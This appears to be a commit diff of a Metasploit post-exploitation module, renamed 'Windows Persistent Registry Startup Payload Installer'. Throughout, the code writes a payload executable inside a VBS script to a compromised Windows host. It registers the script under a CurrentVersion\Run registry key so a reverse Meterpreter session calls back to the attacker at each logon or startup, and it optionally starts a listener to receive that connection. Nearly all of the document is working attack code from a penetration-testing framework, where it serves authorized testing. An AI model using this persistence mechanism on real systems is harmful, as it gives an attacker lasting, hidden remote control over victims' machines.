@@ -22,12 +22,11 @@ class Metasploit3 < Msf::Exploit::Local
22
22
23
23
def initialize ( info = { } )
24
24
super ( update_info ( info ,
25
- 'Name' => 'Windows Manage Persistent Payload Installer' ,
25
+ 'Name' => 'Windows Persistent Registry Startup Payload Installer' ,
26
26
'Description' => %q{
27
- This Module will create a boot persistent reverse Meterpreter session by
28
- installing on the target host the payload as a script that will be executed
29
- at user logon or system startup depending on privilege and selected startup
30
- method.
27
+ This module will install a payload that is executed during boot.
28
+ It will be executed either at user logon or system startup via the registry
29
+ value in "CurrentVersion\Run" (depending on privilege and selected method).
31
30
} ,
32
31
'License' => MSF_LICENSE ,
33
32
'Author' =>
@@ -38,50 +37,117 @@ def initialize(info={})
38
37
'SessionTypes' => [ 'meterpreter' ] ,
39
38
'Targets' => [ [ 'Windows' , { } ] ] ,
40
39
'DefaultTarget' => 0 ,
41
- 'DisclosureDate' => "Oct 19 2011"
40
+ 'DisclosureDate' => "Oct 19 2011" ,
41
+ 'DefaultOptions' =>
42
+ {
43
+ 'DisablePayloadHandler' => 'true' ,
44
+ }
42
45
) )
43
46
44
47
register_options (
45
48
[
46
- OptInt . new ( 'DELAY' , [ true , 'Delay in seconds for persistent payload to reconnect.' , 5 ] ) ,
47
- OptEnum . new ( 'STARTUP' , [ true , 'Startup type for the persistent payload.' , 'USER' , [ 'USER' , 'SYSTEM' ] ] ) ,
48
- OptString . new ( 'REXENAME' , [ false , 'The name to call payload on remote system.' , nil ] ) ,
49
- OptString . new ( 'REG_NAME' , [ false , 'The name to call registry value for persistence on remote system' , '' ] ) ,
50
- OptString . new ( 'PATH' , [ false , 'Path to write payload' ] ) ,
49
+ OptInt . new ( 'DELAY' ,
50
+ [ true , 'Delay (in seconds) for persistent payload to keep reconnecting back.' , 10 ] ) ,
51
+ OptEnum . new ( 'STARTUP' ,
52
+ [ true , 'Startup type for the persistent payload.' , 'USER' , [ 'USER' , 'SYSTEM' ] ] ) ,
53
+ OptString . new ( 'VBS_NAME' ,
54
+ [ false , 'The filename to use for the VBS persistent script on the target host (%RAND% by default).' , nil ] ) ,
55
+ OptString . new ( 'EXE_NAME' ,
56
+ [ false , 'The filename for the payload to be used on the target host (%RAND%.exe by default).' , nil ] ) ,
57
+ OptString . new ( 'REG_NAME' ,
58
+ [ false , 'The name to call registry value for persistence on target host (%RAND% by default).' , nil ] ) ,
59
+ OptString . new ( 'PATH' ,
60
+ [ false , 'Path to write payload (%TEMP% by default).' , nil ] ) ,
61
+ ] , self . class )
62
+
63
+ register_advanced_options ( [
64
+ OptBool . new ( 'HANDLER' ,
65
+ [ false , 'Start an exploit/multi/handler job to receive the connection' , false ] ) ,
66
+ OptBool . new ( 'EXEC_AFTER' ,
67
+ [ false , 'Execute persistent script after installing.' , false ] )
51
68
] , self . class )
52
69
end
53
70
54
- # Exploit Method for when exploit command is issued
71
+ # Exploit method for when exploit command is issued
55
72
def exploit
56
- print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " )
73
+ print_status ( "Running persistent module against #{ sysinfo [ 'Computer' ] } via session ID: #{ datastore [ 'SESSION '] } " )
57
74
58
- rexename = datastore [ 'REXENAME' ]
59
- delay = datastore [ 'DELAY' ]
60
- reg_val = datastore [ 'REG_NAME' ]
75
+ # Define default values
76
+ rvbs_name = datastore [ 'VBS_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
77
+ rexe_name = datastore [ 'EXE_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
78
+ reg_val = datastore [ 'REG_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) )
79
+ delay = datastore [ 'DELAY' ] || 10
80
+ exc_after = datastore [ 'EXEC_AFTER' ] || false
81
+ handler = datastore [ 'HANDLER' ] || false
61
82
@clean_up_rc = ""
62
- host , port = session . session_host , session . session_port
63
83
84
+ rvbs_name = rvbs_name + '.vbs' if rvbs_name [ -4 , 4 ] != '.vbs'
85
+ rexe_name = rexe_name + '.exe' if rexe_name [ -4 , 4 ] != '.exe'
86
+
87
+ # Connect to the session
88
+ begin
89
+ host , port = session . session_host , session . session_port
90
+ rescue => e
91
+ print_error ( "Could not connect to session" )
92
+ return nil
93
+ end
94
+
95
+ # Check values
96
+ if ( is_system? ) && ( datastore [ 'STARTUP' ] == 'USER' )
97
+ print_warning ( 'Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!' )
98
+ end
99
+
100
+ if ( handler ) && ( !datastore [ 'DisablePayloadHandler' ] )
101
+ # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
102
+ print_warning ( "Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues..." )
103
+ print_warning ( "Disabling HANDLER..." )
104
+ handler = false
105
+ end
106
+
107
+ # Generate the exe payload
108
+ print_status ( "Generating EXE payload (#{ rexe_name } )" ) if datastore [ 'VERBOSE' ]
64
109
exe = generate_payload_exe
65
- script = ::Msf ::Util ::EXE . to_exe_vbs ( exe , { :persist => true , :delay => delay } )
66
- script_on_target = write_script_to_target ( script , rexename )
110
+ # Generate the vbs payload
111
+ print_status ( "Generating VBS persistent script (#{ rvbs_name } )" ) if datastore [ 'VERBOSE' ]
112
+ vbsscript = ::Msf ::Util ::EXE . to_exe_vbs ( exe , { :persist => true , :delay => delay , :exe_filename => rexe_name } )
113
+ # Writing the payload to target
114
+ print_status ( "Writing payload inside the VBS script on the target" ) if datastore [ 'VERBOSE' ]
115
+ script_on_target = write_script_to_target ( vbsscript , rvbs_name )
67
116
68
- # exit the module because we failed to write the file on the target host.
117
+ # Exit the module because we failed to write the file on the target host
118
+ # Feedback has already been given to the user, via the function.
69
119
return unless script_on_target
70
120
71
- # Initial execution of script
72
-
121
+ # Initial execution of persistent script
73
122
case datastore [ 'STARTUP' ]
74
123
when 'USER'
75
- # if we could not write the entry in the registy we exit the module.
124
+ # If we could not write the entry in the registy we exit the module.
76
125
return unless write_to_reg ( "HKCU" , script_on_target , reg_val )
126
+ print_status ( "Payload will execute when USER (#{ session . sys . config . getuid } ) next logs on" ) if datastore [ 'VERBOSE' ]
77
127
when 'SYSTEM'
78
- # if we could not write the entry in the registy we exit the module.
128
+ # If we could not write the entry in the registy we exit the module.
79
129
return unless write_to_reg ( "HKLM" , script_on_target , reg_val )
130
+ print_status ( "Payload will execute at the next SYSTEM startup" ) if datastore [ 'VERBOSE' ]
131
+ else
132
+ print_error ( "Something went wrong. Invalid STARTUP method: #{ datastore [ 'STARTUP' ] } " )
133
+ return nil
80
134
end
81
135
136
+ # Do we setup a exploit/multi/handler job?
137
+ if handler
138
+ listener_job_id = create_multihandler ( datastore [ 'LHOST' ] , datastore [ 'LPORT' ] , datastore [ 'PAYLOAD' ] )
139
+ if listener_job_id . blank?
140
+ print_error ( "Failed to start exploit/multi/handler on #{ datastore [ 'LPORT' ] } , it may be in use by another process." )
141
+ end
142
+ end
143
+
144
+ # Do we execute the VBS script afterwards?
145
+ target_exec ( script_on_target ) if datastore [ 'EXEC_AFTER' ]
146
+
147
+ # Create 'clean up' resource file
82
148
clean_rc = log_file ( )
83
149
file_local_write ( clean_rc , @clean_up_rc )
84
- print_status ( "Cleanup Meterpreter RC File : #{ clean_rc } " )
150
+ print_status ( "Clean up Meterpreter . RC file : #{ clean_rc } " )
85
151
86
152
report_note ( :host => host ,
87
153
:type => "host.persistance.cleanup" ,
@@ -98,86 +164,164 @@ def exploit
98
164
)
99
165
end
100
166
101
- # Function for creating log folder and returning log path
102
- def log_file ( log_path = nil )
103
- #Get hostname
104
- host = session . sys . config . sysinfo [ "Computer" ]
167
+ # Writes script to target host and returns the pathname of the target file or nil if the
168
+ # file could not be written.
169
+ def write_script_to_target ( vbs , name )
170
+ filename = name || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".vbs"
171
+ temppath = datastore [ 'PATH' ] || session . sys . config . getenv ( 'TEMP' )
172
+ filepath = temppath + "\\ " + filename
105
173
106
- # Create Filename info to be appended to downloaded files
107
- filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
174
+ if !directory? temppath
175
+ print_error ( "#{ temppath } does not exists on the target" )
176
+ return nil
177
+ end
108
178
109
- # Create a directory for the logs
110
- if log_path
111
- logs = ::File . join ( log_path , 'logs' , 'persistence' ,
112
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
113
- else
114
- logs = ::File . join ( Msf ::Config . log_directory , 'persistence' ,
115
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
179
+ if file? filepath
180
+ print_warning ( "#{ filepath } already exists on the target. Deleting..." )
181
+ begin
182
+ file_rm ( filepath )
183
+ print_good ( "Deleted #{ filepath } " )
184
+ rescue
185
+ print_error ( "Unable to delete file!" )
186
+ end
116
187
end
117
188
118
- # Create the log directory
119
- ::FileUtils . mkdir_p ( logs )
189
+ begin
190
+ write_file ( filepath , vbs )
191
+ print_good ( "Persistent VBS script written on #{ sysinfo [ 'Computer' ] } to #{ filepath } " )
120
192
121
- #logfile name
122
- logfile = logs + ::File ::Separator + Rex ::FileUtils . clean_path ( host + filenameinfo ) + ".rc"
123
- return logfile
193
+ # Escape windows pathname separators.
194
+ @clean_up_rc << "rm #{ filepath . gsub ( /\\ / , '//' ) } \n "
195
+ rescue
196
+ print_error ( "Could not write the payload on the target" )
197
+ # Return nil since we could not write the file on the target
198
+ filepath = nil
199
+ end
200
+
201
+ return filepath
124
202
end
125
203
126
- # Writes script to target host and returns the pathname of the target file or nil if the
127
- # file could not be written.
128
- def write_script_to_target ( vbs , name )
129
- tempdir = datastore [ 'PATH' ] || session . sys . config . getenv ( 'TEMP' )
130
- unless name
131
- tempvbs = tempdir + "\\ " + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".vbs"
204
+ # Installs payload in to the registry HKLM or HKCU
205
+ def write_to_reg ( key , script_on_target , registry_value )
206
+ regsuccess = true
207
+ nam = registry_value || Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
208
+ key_path = "#{ key . to_s } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run"
209
+
210
+ print_status ( "Installing as #{ key_path } \\ #{ nam } " )
211
+
212
+ if key && registry_setvaldata ( key_path , nam , script_on_target , "REG_SZ" )
213
+ print_good ( "Installed autorun on #{ sysinfo [ 'Computer' ] } as #{ key_path } \\ #{ nam } " )
132
214
else
133
- tempvbs = tempdir + "\\ " + name + ".vbs"
215
+ print_error ( "Failed to make entry in the registry for persistence" )
216
+ regsuccess = false
134
217
end
135
- begin
136
- write_file ( tempvbs , vbs )
137
- print_good ( "Persistent Script written to #{ tempvbs } " )
138
- # Escape windows pathname separators.
139
- @clean_up_rc << "rm #{ tempvbs . gsub ( /\\ / , '//' ) } \n "
140
- rescue
141
- print_error ( "Could not write the payload on the target hosts." )
142
- # return nil since we could not write the file on the target host.
143
- tempvbs = nil
144
- end
145
- return tempvbs
218
+
219
+ return regsuccess
146
220
end
147
221
222
+
148
223
# Executes script on target and returns true if it was successfully started
149
224
def target_exec ( script_on_target )
150
225
execsuccess = true
151
226
print_status ( "Executing script #{ script_on_target } " )
152
- # error handling for process.execute() can throw a RequestError in send_request.
227
+ # Lets give the target a few seconds to catch up...
228
+ sleep ( 3 )
229
+
230
+ # Error handling for process.execute() can throw a RequestError in send_request.
153
231
begin
154
232
unless datastore [ 'EXE::Custom' ]
155
233
session . shell_command_token ( script_on_target )
156
234
else
157
235
session . shell_command_token ( "cscript \" #{ script_on_target } \" " )
158
236
end
159
237
rescue
160
- print_error ( "Failed to execute payload on target host. " )
238
+ print_error ( "Failed to execute payload on target" )
161
239
execsuccess = false
162
240
end
241
+
163
242
return execsuccess
164
243
end
165
244
166
- # Installs payload in to the registry HKLM or HKCU
167
- def write_to_reg ( key , script_on_target , registry_value )
168
- nam = registry_value || Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
169
- key_path = "#{ key . to_s } \\ Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Run"
245
+ # Starts a exploit/multi/handler session
246
+ def create_multihandler ( lhost , lport , payload_name )
247
+ pay = client . framework . payloads . create ( payload_name )
248
+ pay . datastore [ 'LHOST' ] = lhost
249
+ pay . datastore [ 'LPORT' ] = lport
250
+ print_status ( 'Starting exploit/multi/handler' )
251
+ if !check_for_listener ( lhost , lport )
252
+ # Set options for module
253
+ mh = client . framework . exploits . create ( 'multi/handler' )
254
+ mh . share_datastore ( pay . datastore )
255
+ mh . datastore [ 'WORKSPACE' ] = client . workspace
256
+ mh . datastore [ 'PAYLOAD' ] = payload_name
257
+ mh . datastore [ 'EXITFUNC' ] = 'thread'
258
+ mh . datastore [ 'ExitOnSession' ] = true
259
+ # Validate module options
260
+ mh . options . validate ( mh . datastore )
261
+ # Execute showing output
262
+ mh . exploit_simple (
263
+ 'Payload' => mh . datastore [ 'PAYLOAD' ] ,
264
+ 'LocalInput' => self . user_input ,
265
+ 'LocalOutput' => self . user_output ,
266
+ 'RunAsJob' => true
267
+ )
170
268
171
- print_status ( "Installing into autorun as #{ key_path } \\ #{ nam } " )
269
+ # Check to make sure that the handler is actually valid
270
+ # If another process has the port open, then the handler will fail
271
+ # but it takes a few seconds to do so. The module needs to give
272
+ # the handler time to fail or the resulting connections from the
273
+ # target could end up on on a different handler with the wrong payload
274
+ # or dropped entirely.
275
+ select ( nil , nil , nil , 5 )
276
+ return nil if framework . jobs [ mh . job_id . to_s ] . nil?
172
277
173
- if key && registry_setvaldata ( key_path , nam , script_on_target , "REG_SZ" )
174
- print_good ( "Installed into autorun as #{ key_path } \\ #{ nam } " )
175
- return true
278
+ return mh . job_id . to_s
176
279
else
177
- print_error ( "Failed to make entry in the registry for persistence." )
280
+ print_error ( 'A job is listening on the same local port' )
281
+ return nil
178
282
end
283
+ end
179
284
180
- false
285
+ # Method for checking if a listener for a given IP and port is present
286
+ # will return true if a conflict exists and false if none is found
287
+ def check_for_listener ( lhost , lport )
288
+ client . framework . jobs . each do |k , j |
289
+ if j . name =~ / multi\/ handler/
290
+ current_id = j . jid
291
+ current_lhost = j . ctx [ 0 ] . datastore [ 'LHOST' ]
292
+ current_lport = j . ctx [ 0 ] . datastore [ 'LPORT' ]
293
+ if lhost == current_lhost && lport == current_lport . to_i
294
+ print_error ( "Job #{ current_id } is listening on IP #{ current_lhost } and port #{ current_lport } " )
295
+ return true
296
+ end
297
+ end
298
+ end
299
+ return false
300
+ end
301
+
302
+ # Function for creating log folder and returning log path
303
+ def log_file ( log_path = nil )
304
+ # Get hostname
305
+ host = session . sys . config . sysinfo [ "Computer" ]
306
+
307
+ # Create Filename info to be appended to downloaded files
308
+ filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
309
+
310
+ # Create a directory for the logs
311
+ if log_path
312
+ logs = ::File . join ( log_path , 'logs' , 'persistence' ,
313
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
314
+ else
315
+ logs = ::File . join ( Msf ::Config . log_directory , 'persistence' ,
316
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
317
+ end
318
+
319
+ # Create the log directory
320
+ ::FileUtils . mkdir_p ( logs )
321
+
322
+ # logfile name
323
+ logfile = logs + ::File ::Separator + Rex ::FileUtils . clean_path ( host + filenameinfo ) + ".rc"
324
+ return logfile
181
325
end
182
326
183
327
end
0 commit comments